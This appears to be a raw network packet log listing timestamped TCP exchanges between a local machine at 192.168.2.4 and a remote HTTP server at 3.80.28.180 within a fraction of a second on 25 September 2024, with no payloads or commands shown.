Sep 25, 2024 03:51:31.927294970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927781105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927793980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927812099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927823067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927834034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927845001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927856922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927867889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927880049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927891016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927895069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927895069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927902937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927915096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927916050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927928925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927938938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927951097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927962065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927964926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927964926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927973986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927988052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927999973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928002119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928002119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928014040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928023100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928028107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928039074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928050041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928082943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928083897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928602934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928616047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928627968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928639889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928648949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928669930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928678036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928680897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928694010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928706884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928716898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928725004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928725004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928736925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928741932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928750992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928766012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.928805113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.928838968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.931747913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.951761007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951782942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951795101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951915026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951915979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.951930046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951941967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951956034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.951977015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.952033043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015559912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015589952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015604019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015614986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015620947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015631914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015645027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015655041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015716076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015763998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015772104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015775919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015789986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015804052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015836000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015860081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015909910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015921116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015932083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015943050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.015966892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.015991926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016067028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016078949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016088963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016099930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016112089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016136885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016210079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016222954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016261101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016273022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016283035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016294003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016333103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016334057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016422033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016434908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016541958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016555071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016563892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016575098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016587973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016592979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016602039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016613960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016624928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016643047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016643047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016643047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.016900063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016911983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016923904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.016973972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017098904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017112017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017122984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017127991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017139912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017152071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017160892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017163038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017174959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017188072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017200947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017215967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017215967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017261028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017498970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017510891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017523050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017533064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017544031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017556906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017566919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017579079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017582893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017594099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017617941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017617941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017838955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017851114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017863035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017875910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017887115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017899036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.017904043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.017940998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018014908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018028021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018038988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018044949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018050909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018058062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018069029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018085957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018095970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018106937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018115044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018117905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018132925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018146038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018157959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018170118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018182039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018192053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018192053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018192053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018224001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018224001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.018955946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018968105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.018989086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019001007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019011021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019022942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019032955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019046068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019056082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019068956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019073963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019073963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019083023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019094944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019107103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019114971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019119024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019133091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019144058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019155025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019165039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019165993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019165039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019176006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019190073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019198895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019202948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019217014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019217968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019229889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019238949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019242048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019260883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019277096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019839048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019850969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019860029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019870996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019876957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019890070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019901037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019912958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.019915104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019953966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.019953966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.020209074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.042692900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042704105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042716026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042785883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.042785883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.042793036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042808056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042824030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042840958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.042849064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.042920113 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.042928934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.092967033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.106489897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106502056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106513977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106590986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.106762886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106774092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106786013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106796980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106810093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106821060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.106821060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.106859922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.106921911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106934071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106945992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106956959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106970072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106981993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.106993914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107004881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107007027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107007027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107019901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107045889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107045889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107088089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107172966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107192993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107204914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107215881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107254028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107405901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107418060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107429981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107441902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107451916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107453108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107479095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107480049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107494116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107500076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107573986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107714891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107752085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107762098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107773066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107784033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107795954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107808113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107815981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107815981 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107820988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107837915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.107861042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107861042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.107954025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108006954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108079910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108092070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108103037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108108997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108114004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108128071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108139038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108141899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108150959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108163118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108175039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108284950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108473063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108484983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108495951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108508110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108520031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108540058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108546019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108551979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108565092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108577013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108582973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108588934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108603001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108613968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108618975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108619928 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108625889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108637094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108649015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108659029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108670950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.108676910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108676910 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108690977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.108710051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.109313011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109324932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109335899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109348059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109359026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.109369993 CEST	80	49730	3.80.28.180	192.168.2.4
